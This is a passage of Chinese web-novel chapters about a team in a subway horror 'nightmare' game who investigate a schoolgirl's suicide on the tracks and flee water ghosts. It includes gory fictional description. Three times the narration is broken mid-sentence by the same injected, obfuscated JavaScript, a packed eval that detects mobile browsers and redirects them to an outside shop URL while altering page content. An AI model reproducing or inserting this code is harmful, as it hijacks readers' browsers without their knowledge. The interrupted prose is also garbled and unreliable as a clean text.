“咦?有这个女孩吗,我怎么没看见?” 她们的交谈没有再继续,因为地铁的车内播报声已经响起。 “请携带通行证的旅客坐在位置上,列车即将出发,行驶期间请勿走动、喧哗、打闹,感谢您的配合。” 地铁再次轰隆隆地向前行驶。 被雏菊人糊在玻璃窗上的鲜血所困,众人看不见列车靠近站台这边的景象,但对面站台的情况,却可以透过窗户一览无余。 纪雅音从刚才开始就关注着对面,列车离开站台前,总算看清了对面站台的人的样子,但即便如此,她也认出了那边的人—— “还真是她。”纪雅音气恼地低声念叨。 宁洛转头问她:“是谁?” “还能是谁,上官雁啊,”纪雅音叹气,“王修齐刚才说,有个阴沉的女人明明有正常的通行证,非要去对面站台凑热闹,我就有种不祥的感觉,刚刚注意了一下,果然在对面站台看见了她。” 宁洛诧异:“可恶,上官不知道这个噩梦很危险吗,为什么总是这样,明明跟我们是一个团队的,总是喜欢独自行动!” “看看人家老王,这么危险都要和队友汇合,再看上官雁,天天沉迷单干推本,像怕我们拖了她的后腿似的!哎!人比人!” 宁洛生气,一圈砸在旁边的凳子上,再抬手时,凳子往下凹了个拳头的坑。 车厢内其他人:“……” 纪雅音本来也有怨气,看她拳下的坑,忽然觉得也是小事一桩。 倒是她砸完这一拳后,猫猫突然跳到宁洛的旁边去,爪子拍了拍宁洛砸出来的坑,又看向宁洛,目光急迫。 宁洛莫名其妙:“朝云喵,怎么了,你说话啊。” 朝云心想,她要是能说话,现在就不会这样了。 朝云更加快速地用猫猫爪子拍她的拳头坑,愈发着急地看着宁洛。 这回纪雅音先看明白了。 她推了推宁洛:“朝云是让你坐过去挡住这个坑,待会儿列车员就要过来了,被列车员发现你损坏公物,可能会被制裁。” 宁洛恍然大悟:“哦哦,好,还是我猫姐考虑得周全。” 宁洛一会儿“朝云喵”,一会儿“猫姐”,已经是丝滑地接受了朝云的新形态。 她挪了挪屁股,坐在了她自己砸出来的坑上,纪雅音跟上,依旧靠着宁洛坐,但给朝云留下了位置。 操心的猫猫探口气,重新坐回到两人中间。 在地铁上呆了两站的共梦者对此已经见怪不怪,但是刚在秋申路上车的共梦者却糊涂了——这只猫是什么?好像很通人性?那个女人又为什么一拳砸下去能砸个坑出来? 但无论如何,刚才在站台上人心惶惶的氛围因此被冲散了一些。 宁洛想起了刚才的话题:“那上官怎么办?她不会死吧?” 纪雅音哪里清楚,但还是道:“祸害遗千年,应该不会这么轻易地没了。” 何况上官有很多保命手段,A级噩梦都能跑出去,她既然敢只身去试规则,肯定是考虑过的。 但对于上官是祸害这件事,纪雅音和宁洛似乎都有共识,两人竟然没有再争论。 朝云在心里默默计算着另一件事——宁洛总把“我们五个”放在嘴上。 五个人,现在已知有宁洛、纪雅音和自己,还有一个“南姐”,那么剩下的最后的人,或许就是对面站台喜欢单干的上官雁了。 朝云还是有些不太适应,这些人应该是非常熟知的队友,可她对她们一无所知。 纪雅音之前毫不犹豫地带着自己逃命、在失去理智的宁洛面前为自己挡刀,就连王修齐,也为了队友直接离开安全的车厢,下车与队友汇合。 这说明,在这个世界,队友应该是非常亲密的关系。 可朝云又无法记起她们,也没办法正常和她们沟通,她还没有技能……自己岂不成了单纯的拖油瓶? 猫猫坐在宁洛和纪雅音中间,两人体温不同,宁洛的温度更高一些。 她不自觉地会贴着宁洛,宁洛双手环胸闭目养神,任由她贴着自己,而纪雅音在玩她的尾巴尖,好像她们两个非常自然地就接受了自己作为她们的队友。 朝云却不可避免地忐忑起来。 直到车厢中有人说话。 “大家……” 那人哆嗦道。 “有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534220|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有觉、觉得,车……车里是不是变冷了啊?” 纪雅音搓了搓胳膊:“好像是有点,朝云,你冷吗?” 朝云紧贴着宁洛,听到纪雅音的问题后,摇了摇小猫脑袋。 宁洛睁开眼,但依旧翘着二郎腿,茫然问:“冷吗?我觉得还行啊。” 纪雅音意识到这个问题问她俩是白费口舌。 这两位当然不冷了,一个浑身是毛,“穿着”天然皮草,另一个是一年四季都很有精神的热血笨蛋。 纪雅音直接抱着猫贴在宁洛身上:“那我有点冷,挤一挤哈!” 车厢里其他共梦者也开始挤在一起报团取暖,但是车厢内却越来越冷了。 “应该是因为……”唐玉说,“快、快到终点站了吧。” 毕竟是冬亥路,冬季。 不过也有两个好消息。 第一,由于车子变冷,后面车厢的蝉头人都闭上了嘴,就连桂花和雏菊都蔫巴巴的,好像进入了休眠状态,不用车厢里的共梦者费力维持技能保护第一号车厢了。 第二,外面好像下起了大雪,雪迅速在玻璃上结冰,雏菊人发黑的鲜血黏连在冰上,终于开始剥落。 唐玉的猜测被证实,车厢内放起了熟悉的萨克斯音乐《回家》,车速也缓缓降低,行驶过程中两眼一抹黑的共梦者们,第一次见到了进站前外面的样子。 车站外面是一层水波,这层水波大家都很熟悉,是噩梦的固定场所,一旦离开这层水纹,就会迷失在噩梦中。 看来四站之间,只能通过地铁往返。 地铁播报声响起—— “乘客们,本次列车终点站,冬亥路,到了。” “感谢您的乘坐,祝您旅途愉快。” 不知道这次的变异乘客是什么? 但无论是什么,现在都必须要下车了。 众人哆哆嗦嗦着,在列车停稳开门后,起身朝外走去。 宁洛走在最前面,手握着刀柄。 纪雅音抱着猫,与她并肩。 两人身后,二十三人陆续下车。 冬亥站不仅没有变异乘客,甚至一个乘客都没有,完全是冰天雪地的无人站台,和前面三站都不一样。 先下车的宁洛和纪雅音立刻看见一个熟悉的人影。 “南姐!” 两人高高兴兴地对不远处的人群中一个高挑的女子喊。 那个扎着高马尾的女人转过了头,她穿着黑色长款外套,随着转身,高马尾从肩膀滑落在身前。 南明芮还没回答,车厢里的所有共梦者在此时都已下车,系统的播报声正式响起。 【每个人都有遗憾的过往】 【梦主尤其如此】 【请各位共梦者将这场噩梦扭转,给予梦主一个甜美的好梦】 【任务目标:保护刘福珍】 有人问:“刘福珍是谁?” 话音一落,身后忽然响起巨大的刹车声,随即是刺耳的尖叫。 在场的所有共梦者同时转头,看向声音的方向。 这一转头,刚才的无人车站就立刻活了过来。 车站里站满了人,大家都穿着棉袄、大衣,裹得严严实实——明明刚才还没有这些人的。 乘客们与共梦者一样,也在同一时间看向了那边,随后惊恐的表情遍布在每个人的脸上。 他们惊声尖叫。 “死人了!死人了!!!” “快报警啊!有人跳轨自杀了!” “警察!救护车!救护车!” 共梦者们彼此相视,瞬间明白了什么,立刻朝那边跑去。 有宁洛在,别人都挤不过她,南明芮在中间,纪雅音抱着猫在后面护着南明芮,三人一猫穿过层层人群,顺利挤到了最前面。 朝云发现这里似乎是第一节车厢的位置。 最先看见的,就是遍布血迹的地铁车头,再向下,是一个穿着冬季校服的女孩,她还背着粉色的书包,只是现在只能看见她的腿,因为上半身已经在地铁车轮下面碾碎了。 血肉骨头糊在一起,溅到地铁上、铁轨上、车头上、站台上。 顺着血迹,朝云看见了地上有一张纸—— 她拍了拍纪雅音,向那个方向示意,纪雅音过去把纸捡起来。 “遗书。” 纪雅音喃喃念道。 “15年前,如果没有遇见他就好了。” “刘福珍,2004年12月20日。” 7. 遗书写给何人 下了地铁,大部分人都已经和队友会合。 纪雅音、宁洛、南明芮和朝云也站在了一起。 几人飞快地确认了消息,南明芮做了总结。 “上官那边暂且不用管,她向来习惯单独游走,说不定能找到关键情报。我比较震惊的是——” “朝云复活了,而且变成了猫?”她托着下巴,看向朝云,“但目前还不能说话?” 纪雅音和宁洛都眼巴巴地点头,两人目光清澈,看上去都不太聪明的样子。 好不容易和南明芮会合了,后面她们将直接丢掉大脑,这玩意儿太影响她们输出了。 南明芮皱了皱眉,抬手伸向朝云的下巴。 小猫以为她要挠自己的下巴,就像纪雅音和宁洛在车上总是无意识地撸猫一样,下意识就把脑袋轻轻搁在了她的手心里。 南明芮愣了愣,顺手挠了两下,但脑子还在转:“这真的是朝云?我一伸手就抬头等撸,应该是个亲人的小猫才对,你跟我说这是朝云?” 宁洛和纪雅音阿巴阿巴地听不明白,但是朝云能听懂啊,顿时羞耻感直冲天灵盖。 朝云马上收回脑袋,还用两个爪子推开了南明芮的手。 南明芮挑眉:“啧,能听懂人话?难道你真是朝云?” 她这回强硬地绕开猫猫抗拒的爪子,抬起她的下巴,看向通行证。 “还真是朝云。”南明芮确认无误,有点惊讶,“好吧,通行证是不会出错的,看来A级噩梦的boss没骗我们,朝云真的可以复活。” 纪雅下意识摸了摸朝云毛茸茸的脑袋:“但是因为不能说话,所以技能没法用了,这点比较麻烦。” “确实。”南明芮叹气,“言灵还是太有用了。” 朝云醍醐灌顶,对啊,是言灵,她之前的技能是言灵,所以才依赖说话能力! 言灵啊,听上去就很强,真可惜,现在她竟然是一只小猫咪。 “算了,叙旧不急在一时,通关这个噩梦后,回安全区再说。先看看任务怎么解决。”南明芮说道。 于是三人不约而同看向了手里的遗书——这是关键道具,噩梦会无限生成,所以人手一张。 “如果没猜错的话,”宁洛看向南明芮,“刘福珍,应该就是跳轨自杀的那个女孩吧?” 南明芮点头:“是的,你们看她的书包——” 两人一猫扭头,看向铁轨下面的粉色书包,文具散了一地,都沾上了血,有支铅笔被碾碎了。 书包最外层的透明层下面卡着一个纸张,上面写着显眼的三个字:刘福珍。 这倒让宁洛看不懂了:“那我们不是死翘翘了吗,任务目标都自杀了,遗书也写好了,开局就死,这还玩什么?” 南明芮却不这么认为。 “真有这么简单就好了,这可是无人通关的B级噩梦。它既不会那么简单弄死我们,也不会那么简单让我们过关。” 另外两人挠挠头:“那现在从哪里破局比较好?” 南明芮细细思索了片刻,提到了一个可能性:“别的先不提,从经验角度来说,现在场景不符合噩梦的风格。这么重要的任务目标,不可能只在一个地方出现……” “你们有没有在前面的站台看见过刘福珍?或许能找到她自杀的原因。” 南明芮冷静地分析:“虽然还没想到怎么破局,但既然噩梦没有直接结束,就意味着,即便刘福珍已经自杀了,但我们还有救下刘福珍的机会,所以先确认自杀原因,解决这个原因,思路总归是没错的。” 纪雅音挠头:“但是南姐,我虽然是从第一站就上车的,可我真没印象,毕竟每一站乘客都特别多,车一进站还会变异,怪吓人的……” 南明芮对她也没抱指望:“我知道,你的技能会被人形鬼怪克制,让你从一堆怪物乘客里找人,确实有点难为你。” 宁洛也挠头,不记得在夏巳路见过刘福珍,俩人半天想不出来,纪雅音和宁洛又盯着手里的遗书看,指望能从刘福珍的遗书里看出什么东西来。 南明芮没有着急更换角度,仍然在思索刘福珍出现的频率问题,她还是觉得,刘福珍肯定在前面出现过,至于她们为什么记不起来—— “如果能知道刘福珍的相貌就好了。” 或许就能让她们回忆起来,是否在前面见过这小姑娘。 纪雅音和宁洛同步茫然抬头,她们哪里知道刘福珍长什么样,小姑娘现在只剩半截了。 南明芮和她俩对视,透过两双明媚的大眼睛,仿佛看见了两颗平滑无褶皱的大脑。 南明芮:“……” 朝云也在思考着南明芮提出的问题,她看了眼站台下的尸体,目光落在了粉色的书包中。 她觉得,或许可以从书包里找到相应线索。 书包上有地方写着刘福珍的名字,可见噩梦不会对尸体身份藏着掖着,说不定还会有进一步的信息呢。 她看了一眼南明芮。 猫猫一跃从纪雅音怀里跳下来,走在了三人前面。 南明芮和猫对视后,觉得猫比她俩靠谱,就跟了上去。 朝云跳下站台的瞬间,纪雅音下意识想跟,一只手却横在面前。 “小姑娘你干什么!”一个穿棉袄的大姐死死拽住她,脸上的惊恐货真价实,“你也要跳?别添乱了行不行!” 纪雅音愣住了。 她在噩梦混了这么久,头一次被NPC拦路。 南明芮没说话,只是拉着纪雅音退后一步。 她的目光扫过站台上拥挤的人群,每一张脸都清晰,每一种表情都不同。有人捂嘴,有人扭头不敢看,有人拿出手机的手在抖。 “这个噩梦吃了不少人。”南明芮声音很低。 纪雅音顺着她的视线看过去。 还真是,这些NPC也太逼真了,不是那种五官模糊的噩梦填充物,简直就是一个个活生生的人——正因为太像活人,才更不对劲。 “难道是快接近A级了。”纪雅音听见自己说。 南明芮没否认。 不过,她们很快发现一件事。 NPC拦得住人,却对猫毫无反应。朝云瘦小的白色身影穿过人群缝隙,没有一道目光落在她身上。 朝云靠近了尸体。 血腥味扑面而来,比她预想中更浓。猫的五感放大了这一切,铁轨的金属腥气、车轮烧焦的橡胶味、还有血。 她压住反胃,绕开地上蜿蜒的血迹,靠近那个粉色书包。 网状侧袋里塞着一盒牛奶,旁边是两颗煮鸡蛋,鸡蛋热乎着,像是早上出门前匆忙塞进去的,连凉透的时间都没有。 鸡蛋下面压着一张卡片。 朝云用爪子扒拉了两下,没扒动。她侧过头,牙齿咬住卡片一角,一点点往外拽。 站台上,纪雅音看见猫猫叼着什么从书包里抬起头,绕过血迹往回走。 纪雅音暗自担忧:“这么高的站台,朝云能跳上来吗。” 宁洛也不安:“要不我们丢个绳子下去,让朝云顺着绳子爬上来吧。” 南明芮:“……” 站台下面的朝云抬头看向站台,向后退了半步,后腿发力,身子拉长,优雅而顺畅地跳了上来。 纪雅音和宁洛都松了口气,注意到她们的小动作,南明芮无法理解,无论如何,现在朝云可是只猫啊,这个高度的跳跃应该不至于如此担心吧。 朝云上来后,叼着卡片径直走向南明芮。 见猫猫理都不理她俩,朝着自己径直过来,南明芮心中冒出诡异的满足感。 她蹲下身子,从朝云嘴里接过了卡片,很想抬手摸摸她的头鼓励一下,但南明芮忍住了 南明芮脑子卡壳——不,这样不对,我要干什么来着? 哦哦,情报。 她尽量把注意力放在手中的卡片上。 卡片的右侧是文字。 “██初级中学校园卡。” “八年级(二)班。” “刘福珍。” 左侧,则是一张大头照。 小女孩相貌可爱,咧嘴笑着露出虎牙,眉目清秀,看上去是个天真活泼、无忧无虑的孩子。 南明芮和朝云猫猫对视一眼,猫猫后腿直立,前爪轻轻扶在南明芮的虎口处,小猫很轻,倚靠的重量她完全承受得住,但是那种诡异的愉悦之情又冒出来了。 朝云看了看她手中的校园卡,飞快地瞥了一眼旁边的文字,最后目光落在小女孩的照片上。 强烈的既视感呼之欲出。 可能是因为失忆的原因,朝云的记忆并不多,所以她很快记起了这种既视感来自何处。 春寅路,雏菊人,后车车厢。 南明芮的推测没错。 朝云记起来,这孩子曾经坐在雏菊人中间,在后车车厢中,飞快地看过她一眼。 那绝对不是错觉。 她深深地看了一眼南明芮,这个信息必须要想办法传递给她。 南明芮皱着眉:“朝云,你是不是想到了什么?如果是肯定答案,你就喵一声,如果是否定答案,你就喵两声。” 朝云歪了歪头,不由得想,南明芮果然比纪雅音和宁洛的反应更快一些,她们待在一起好几个小时,竟然都没想到这一招,交流全靠蒙。 朝云:“喵。” “明白了。”南明芮如释重负,朝云虽然变成猫了,但照样比这两个人靠谱。 尚不知道自己被嫌弃了的两人还在嬉皮笑脸。 “朝云真可爱呀。”纪雅音感叹道。 宁洛也笑眯眯:“是呀是呀。” 朝云心想,如果刘福珍曾经在前面的站台出现过,那么,一定不止她一个人看见过她。 还有谁呢,还有谁曾经看到过刘福珍? 周围人来人往,小猫还在飞快地回忆。 记忆深处,有两句对话突然冒了出来。 ——“你怎么了?在找谁?” ——“哦哦,没事,刚刚一直有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534221|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着校服的小女孩跟着我们,但是没有上车……我还以为是共梦者,看来是误会了。” 是秋申路上车的共梦者! 朝云看了三人一眼,快速地朝前跑去,南明芮三人亦跟上。 小猫灵动地在人群中穿梭,她的耳朵不停地变动着方向。 她在听声音,既然不记得那两个人的脸,现在只能靠声音分辨了,她们在哪里呢? 除了纪雅音一行人,其他共梦者也曾经尝试去铁轨上查看刘福珍的尸体,但都被NPC拦了下来,意识到这条路走不通,所以分散在站台各处,去寻找新的线索了。 秋申路上车的那几人也不例外。 “……你们看站台的时刻表……” 不断逡巡的朝云终于听到一个熟悉的声音,她立刻站住,抬头望向说话的人。 她又说:“时刻表为什么没有下一站的列车?” 旁边的人回答道:“你这么一说还真是,正常的地铁会这样吗?” 两人对话的声音和记忆中的对话声音重合,朝云迅速锁定了她们两个。 她还在想怎么去问她们问题的时候,忽然被拦腰抱起。 朝云扭头,看见了纪雅音。 南明芮在她身边,顺着猫猫的视线也锁定了两人:“她们两个有问题?” 朝云短促叫了声:“喵。” “好,”南明芮对猫猫笑了笑,“剩下交给我就行。” 南明芮抬手,温热的手心飞快揉了揉她的小猫脑袋,显得可靠极了,朝云盯着她的背影发愣。 不得不说,南明芮的理解能力真是一流,哪怕车上的唐玉,在南明芮这丝滑的“猫语理解”能力面前,也是不够看。 南明芮走上前:“你们好,请问是共梦者吗?” 正在抬头看时刻的两人闻言,转头看了一眼搭话的南明芮。 “我叫南明芮,也是一名共梦者。”南明芮伸手,气质温和,总有一种让人可以相信的魅力,“如果你们愿意的话,我希望和你们进行信息交换。” 两人看见了南明芮身后的两人一猫,她们的表现车厢里的人都记得,而南明芮显然和她们是一个团队的。 听说好像是安全区的积分榜榜二! 她们受宠若惊:“信息交换?可、可以啊,你想知道什么?” 这两个女生很聪明,即便知道眼前的团队很强,也没有妄自菲薄,有这样敢于抓机会的品质,可以在噩梦之中活得更久。 南明芮拿出了小卡片,放在手心给两人查看:“这是我们在尸体上发现的东西,是刘福珍的校园卡,想请你们看看,能不能想到什么。” 那两个女生立刻凑过来查看,左边的女生明显震惊了一下:“咦!我见过她!” 她抬头:“在秋申路地铁站的站台见过她,当时这个小姑娘好像在等人,后面莫名其妙,一直跟在我们身后,她还问了我问题。” 南明芮仿佛不在意地问:“问问题?” 那女生回忆:“她问我,是不是以前和我见过面?啧,但是秋申路地铁站人太多了,被挤来挤去的,我都没来得及回答她,而且地铁快要进站了,我以为她是共梦者,心想等会儿再聊也来得及……” 女生和同伴对视,神色懊恼:“她居然是刘福珍?” …… 南明芮以交换情报为由的套话结束,与那两个女生暂别后,她飞快地思考着。 “朝云,你怎么知道她们两个见过刘福珍?”南明芮刚问完,自己就想到了答案,“你也认得刘福珍?难道是在春寅路?” 跟聪明人讲话太舒服了。 朝云:“喵!” 南明芮懂了。 这样就对了,刘福珍已经在春秋冬三站露过面,剩下的就是夏巳路。 朝云和纪雅音在第一站春寅路上车,那个女生在秋申路上车,所以按照规律,刘福珍也应在夏巳路出现过。 纪雅音拿着校园卡,没看出什么线索,将校园卡继续传递给了宁洛。 刘福珍的笑脸定格在校园卡的照片上,她脸圆圆的,还有小虎牙,看上去就是很有福气的可爱小女孩,难怪会叫“刘福珍”这个名字。 如果见过她的人,应该会印象深刻吧,毕竟共梦者们在噩梦中摸爬滚打,没有多少人会有如此天真可爱的笑容。 电光火石之间,宁洛真的记起了什么。 “南姐,我也见过刘福珍。” 宁洛看着校园卡,兀然说道。 南明芮怔了怔:“我记得你说是夏巳路上车的?那就对得上了,刘福珍她果然——” “等等,我不只见到了刘福珍,”宁洛打断她,想到了那个画面,她缓缓抬头,看向南明芮,“而且在刘福珍身后,还有个陌生的男人。” 宁洛仔细回忆着,一切都历历在目,最后才笃定道:“没错,当时,刘福珍在第二号车厢看了我一眼,在她身后,还有一个男人。” “只有他们两个是正常人类的样子,所以,我记得很清楚。” 8. 遗书写给何人 宁洛说完,看了一眼其他人。 纪雅音和南明芮都严肃地看着她,就连小猫也睁圆了眼。 宁洛眨了眨眼,茫然问:“怎么了?” 南明芮一瞬间有些无力,但优秀的素养让她依旧保持笑容:“……还有呢?继续说呀。” 宁洛挠了挠头,然后开朗地笑了:“没有了啊!我就记得刘福珍在偷偷看我,还有一个男的站在她后面。” 南明芮闭了闭眼。 算了。 她直接问吧。 “刘福珍和照片上长得一样吗?” 宁洛托腮回忆,然后点头:“对,就连穿的衣服都一样——细节我记不清了,反正是这个配色。” 南明芮从口袋里拿出一个小记事本,在上面写写画画,继续问:“那个男人长什么样。” 宁洛望天,有些茫然:“啊,我不记得他的长相——哦对了,他戴着帽子和口罩呢,所以我才不记得他的脸。唔,帽子是灰色的软塌塌毛线帽,口罩就是医用外科口罩,天蓝色的那种。” 南明芮停下,用笔头抵住下巴,想了想,又问:“身高呢?” “和我差不多,估计得有个一米九吧。” 纪雅音没忍住:“一米九?这对吗?你上次量身高不是才188cm吗,怎么又一米九了。” 宁洛摊手:“我年纪小,还在长身体呢,两天长两厘米不是很正常吗。” 纪雅音很羡慕,抬手摸了摸宁洛的头顶。 她很想做时装模特,要是能有这个身高就好了。 小猫被纪雅音抱在怀里,一起朝宁洛的方向挤过去。 宁洛笑眯眯地伸手,去挠了挠朝云的下巴,小猫咪就舒服地眯起眼——不对!她为什么要眯眼!她又不是真的猫! 另一边纪雅音也收回手,挠她的脑壳。 这俩人手法娴熟地撸猫,而朝云根本无法抗拒本能,直接放弃思考,把脑袋搁在她俩手心开始打呼噜。 南明芮本来还在思考,一抬头就看见了这两人一猫的架势。 熟悉的无力感涌上心头,南明芮:“……好了,别撸猫了,都什么时候了,一点紧迫感没有。” 两人一猫被训后僵了僵,悻悻地变回专业共梦者。 南明芮将记事本上的速写递给宁洛看:“看一下,是不是这样?” 宁洛端详着,眨眨眼:“厉害啊南姐,很像那个男人啊!” 南明芮收回本子,环顾了一眼这个站台。 她们有小猫帮忙,所以能够突破NPC的隔离去刘福珍的尸体上找线索,其他人当然也注意到了这一点,这会儿也在各显神通,想办法接近尸体。 目前她们几人的进度稍稍领先,但也意味着后面不能参考其他人的做法了。 她的目光越过这一列地铁,看向了对面空荡荡的站台。 “我们去对面乘车吧,”南明芮道,“回去夏巳路看看情况,或许刘福珍的死因和那个男人有关。” 三人一猫率先离开了站台,顺着楼梯下去。 下了扶梯,往右,是八号出口的反方向,往左,就是反方向列车的地铁口。 眼下她们的通行证都是正常的,按照上一站的情报,镜像通行证只能上反方向的地铁。上官雁虽然至今尚未归队,但也试探出来一条正确规则——正常的通行证可以任选乘两个方向的列车。 和站台上的热闹不同,下了扶梯后,空荡荡的地铁站就显出斑驳和噩梦本有的灰蓝色调。 头顶白炽灯的灯光闪烁,安静的地铁站里,几人甚至能听见电流穿过的声音。 宁洛走在最前面开路,南明芮在中间,后面本应该是纪雅音,保护前面的队友—— 但是朝云感觉纪雅音有点怪怪的。 她窝在纪雅音的怀里,抬头看向她。 纪雅音眉头紧皱着,看上去有些紧张。 朝云眨眨眼,想起来她们在春寅路的地铁站时,纪雅音也曾这么愣住过。 小猫缓缓直起身,趴在了纪雅音的身前,用肉垫拍了拍纪雅音的脸。 感觉到朝云的提醒,纪雅音勉强对猫猫挤出个笑:“啊,朝云,又被你发现了,你真是细心,就算变成猫猫也能发现我害怕。” 纪雅音并不知道朝云失忆了,随口闲聊起从前的事情:“哎,没办法,我技能对非人的怪物很强,但是对人形的鬼就一点办法没有了。” 南明芮笑着说:“也是,我想起来音音刚和我们组队的时候,看上去特别大小姐、特别柔弱,谁能想到是坦克定位……” 走在最前面的宁洛也说:“对哦,老纪是在一个灵异向噩梦入队的,叫什么我忘了,通关的关键好像是要共梦者躲在梦主的床下,哈哈哈,我想起来了——” 宁洛嘟嘟囔囔半天,突然兴奋:“——好像最后那些床全是棺材,梦主其实是各式各样死掉的人,晚上要回到棺材里,当时老纪被分配到的床,刚好梦主是头朝下自杀的,哈哈哈哈当时老纪跟鬼四目相对,直接一个惊声尖叫——” 她回头想要取笑纪雅音。 可在宁洛回头的瞬间,看见了纪雅音恐惧的脸,还有纪雅音身后的东西。 她笑容僵在嘴边。 宁洛的异样,马上被朝云和南明芮发现了。 南明芮顿时意识到了什么,马上对宁洛使了个眼色,宁洛领悟到了意思,于是僵硬着脖子转了过去。 而纪雅音被她勾起回忆更加害怕了,所以没发现宁洛的不对劲。 “我去,我永远都记得那个噩梦……”纪雅音兀自接上了宁洛的回忆,“后来我觉醒技能<金刚>之后,本来以为防御拉满就不会害怕了,谁知道这个技能还跟我内心恐惧挂钩,对人形的鬼一点用没有。” 纪雅音快哭了。 但走在前面的南明芮第二个转过头,看向了纪雅音:“没事,这个噩梦好像人形的鬼怪不多。” 朝云明显看见,南明芮的目光在纪雅音的脸上只停留了一瞬,转而就看向了纪雅音的身后。 看来不仅是为了安慰纪雅音,也是为了确认刚才宁洛在纪雅音的身后看见了什么。 害怕的纪雅音同样没有发现南明芮的视线走向。 “没事,我会勇敢一点的!”纪雅音抱紧猫猫,“而且,我发现了朝云变成猫的好处,抱着猫猫我就没那么害怕了呢!” 纪雅音把猫抱到了胸前,拖住猫猫的后脚,以这个姿势,猫猫的脑袋正好搁在了纪雅音的肩上,往她身后看—— 猫猫睁大眼。 有好几个浑身湿漉漉的“人”跟在纪雅音的身后,头发正在往下滴水,眼珠子从头发里面“伸”出来,直勾勾地盯着纪雅音的背部。 而且还在笑。 它们缓缓抬起手,想要拉住纪雅音。 “不过,这个噩梦虽然人形的鬼不多,但不知道为什么我还是有一种背后发凉、毛毛的感觉。”纪雅音说,“哈哈,可能是我太焦虑啦~” 不,朋友,你的感觉十分敏锐。 ——另外两人一猫脑子里立刻冒出这句话。 南明芮镇定地接过话头:“没事,害怕也正常,噩梦嘛,完全不害怕岂非不给梦主面子?咳咳,话说回来,大家赶地铁的路上一定有些无聊吧,我给大家讲个解闷的小笑话。” “你们有没有听过水鬼的故事。” 纪雅音一僵:“我的姐,你管这个叫小笑话吗?” 宁洛听出来南明芮要传递信息了,直接忽视了纪雅音,大声道:“啊!什么水鬼!我从来没听说过呢!” “那个,”纪雅音挤出个笑,“我们一定要现在聊这个话题吗……” “既然宁洛没听过,那我简单说一下——” 南明芮也忽视了纪雅音,接着说。 “传说中,水鬼的死因,是意外被其他水鬼拉入海底溺亡的,但是没人知道,海里的第一个水鬼是怎么出现的。” “每一个水鬼死的时候都不甘心,所以它们只能抬头向上看,好像只要有一根救命稻草,它们拉住那根草,就能爬上岸去。” “但是它们没有意识到,自己其实已经死了……所以,根本没有什么救命稻草,他们拼命想要拉住的,其实是下一个倒霉的水鬼。” “而且,由于水鬼一直到死都是盯着最上方的,所以它们身上还会被一个有趣的规则所束缚,那就是只能按照顺序往下拉人,当队伍中的最后一人被吃后,才会轮到倒数第二个人。” “只要最后一个人还在,其他人就暂时安全。” 这是有趣的规则吗?南姐为什么现在突然开始讲鬼故事……纪雅音已经快要无法呼吸了。 南明芮不确定大家能不能明白她的暗示,只能期待队友们开窍,并且继续给予“暗示”。 “好了,这就是都市怪谈水鬼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534222|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事啦。” “现在,聪明的你们一定想到了面对水鬼时的做法。” 南明芮温柔的声音回荡在空荡荡的、斑驳的旧地铁站下面。 “如果你是队伍中的最后一人,那么,你就千万不要回头看。” ——可她现在就是殿后的人啊! 纪雅音有种极其不祥的预感:“南姐,你说这个的意思难道是……?” 南明芮没回答她,声音回响在空荡荡的地铁站。 “我还没说完呢,而其他人,千万不能让水鬼知道,你这棵活稻草,已经发现了它。” 瓦格纳效应——越禁止,越想做。 纪雅音哆哆嗦嗦地抱着猫,开始觉得身后有什么东西在“吸引”她,只要回头看一眼,就能确认了。 要不看一眼?她就看一眼。 她微微向侧方偏了偏下巴…… 南明芮:“解闷小故事已经结束了,咳咳,我们还着急赶地铁呢,宁洛,你走快点吧。” 她声音很大,一下把纪雅音的注意力拉了回来。 纪雅音有些后怕,怎么回事,刚才她怎么会想要回头?! 宁洛根本不敢开口,听了南明芮的指挥,马上闷头开始小跑。 朝云正面对着那几个水鬼,发现它们的速度好像和被追的人挂钩,她们快起来了,后面的鬼也快起来了。 不,速度好像还超越她们。 正当后面的水鬼抬起湿哒哒的手,马上就要碰到纪雅音的肩膀时。 朝云眯起眼,对着最前面的水鬼张开嘴恐吓它。 “哈——” 南明芮一直留心听着后面的动静,马上大声道:“朝云哈气了,快跑!” 宁洛毫不犹豫,转身干脆利落地把南明芮扛肩上,开始撒腿狂奔。 等会儿,朝云哈气就要跑吗? 纪雅音还在烧烤,但南明芮一发号施令,她已经习惯性地跟着前面的宁洛跑起来。 朝云一直盯着那几个水鬼,它们实在难缠,速度竟然同步加快,手伸向纪雅音的长发。 朝云好像听见它们的声音了。 ——稻草…… ——我的稻草…… 它们果然是想拉纪雅音下水。 